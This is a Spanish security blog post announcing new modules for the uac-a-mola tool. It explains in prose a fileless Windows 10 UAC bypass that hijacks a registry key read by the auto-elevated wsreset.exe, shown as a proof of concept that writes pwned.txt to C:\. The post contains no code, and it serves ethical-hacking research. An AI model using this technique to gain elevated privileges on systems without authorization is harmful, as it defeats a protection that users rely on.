En vacaciones entre avión y avión estuve echando la vista atrás a las herramientas que hemos ido haciendo desde el equipo de Ideas Locas. Centré el tiro en uac-a-mola, una herramienta especial para mí, ya que fue una pequeña locura que acabo yendo en 2017 a BlackHat Europa. Recordé las horas previas a aquella BlackHat, junto a mi compañero en aquellas guerras Santiago Hernández, aquellas pruebas de última hora. Es un proyecto especial, al que tengo cariño. Especialmente porque está hecho por y para profesionales del Ethical Hacking.

Figura 2: Libro de Ethical Hacking

Tras ver los últimos bypasses de UAC que han ido saliendo, hablé con mi compañero Josué Encinar y le dije de seguir trabajando en la herramienta. Por ello, hemos introducido dos nuevos módulos y un tercero que hemos retocado.

Figura 3: UAC Bypass & Research with UAC-A-Mola de ElevenPaths

El módulo del que quiero hablaros hoy es el referido a un nuevo tipo de "Fileless" para Windows 10, basado en la debilidad de wsreset.exe. Crear un módulo en uac-a-mola es algo trivial, por lo que viendo algunos fileless ya implementados, puede ser cuestión de cinco minutos crear un nuevo módulo con un nuevo bypass de UAC. En este enlace se puede encontrar el código del fileless de wsreset válido en Windows 10.

Figura 4: Módulo en uac-a-mola del nuevo bypass de UAC

En el artículo que escribí hace unas semanas se puede encontrar en qué se basa este bypass de tipo fileless. A veces asusta lo sencillo que son este tipo de debilidades de algunos binarios de Windows. Lo interesante de éste es que afecta a los sistemas Windows 10, por lo que para la realización de Hacking de Windows dentro de un proyecto de Ethical Hacking es algo vital.

Figura 5: Libro de "Hacking Windows: Ataques a sistemas y redes Microsoft"

Sea como sea, decidimos hacer el módulo para actualizar la herramienta uac-a-mola y dotarla de módulos más actuales. Creemos que es una herramienta que aún tiene recorrido y de la que publicaremos más cosas en próximas semanas. Aún, no se ha publicado la versión de uac-a-mola^2 que se presentó en 8dot8 y de la que se hablará en RootedCON Valencia. Además, en RootedCON Valencia veremos alguna sorpresa sobre un posible uac-a-mola para Meterpreter, pero ello ya se verá en RootedCON.


Figura 6: Presentación de UAC-a-Mola en CCN-Cert

Ahora vamos a ver la ejecución del módulo fileless_wsreset de uac-a-mola para verificar que su implementación funciona. En la imagen se puede observar las opciones del módulo, el cual es muy sencillo, ya que solo hay que indicar cuál es la instrucción que se quiere ejecutar cuando se realice el bypass de UAC. Si dejamos la instrucción por defecto, se creará un fichero en C:\, la cual es una ubicación protegida, solo se puede escribir si se está ejecutando el proceso en un contexto de integridad alto. 

Figura 7: Módulo fileless_wsreset en uac-a-mola

Con el comando show de uac-a-mola se puede listar las opciones del módulo y la información de éste. En la imagen se puede ver que en la ruta C:\ no se encuentra ningún fichero denominado pwned.txt. 

Figura 8: Ruta protegida

Cuando se ejecuta el módulo y se realiza la manipulación y cambios en el registro que provocan que cuando se invoque al binario wsreset.exe se ejecute la instrucción de la clave del registro modificada. Este código ya se ejecuta en un contexto de integridad alto, ya que el binario wsreset.exe se ejecuta en este contexto. Es un binario autoelevado. 

Figura 9: pwned.txt en C:\

Aquí podemos ver el fichero de texto creado en la raíz del sistema. Para poder ver esto de forma más sencilla se puede hacer uso del siguiente vídeo. 

Figura 10: PoC Fileless wsreset en uac-a-mola

Como se ve, se sigue mimando lo que nuestro tiempo nos permite a esta herramienta y seguiremos añadiendo algunas cosas nuevas en breve tiempo. Os esperamos en la RootedCON Valencia para que veáis una charla sobre el interesante mundo de la seguridad en Windows y la investigación en el campo de la protección UAC.

Saludos,

PD: Durante la RootedCON Valencia tendrás un stand de libros de 0xWord, así que si quieres que te firme alguno, solo tienes que pedírmelo que será un placer.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.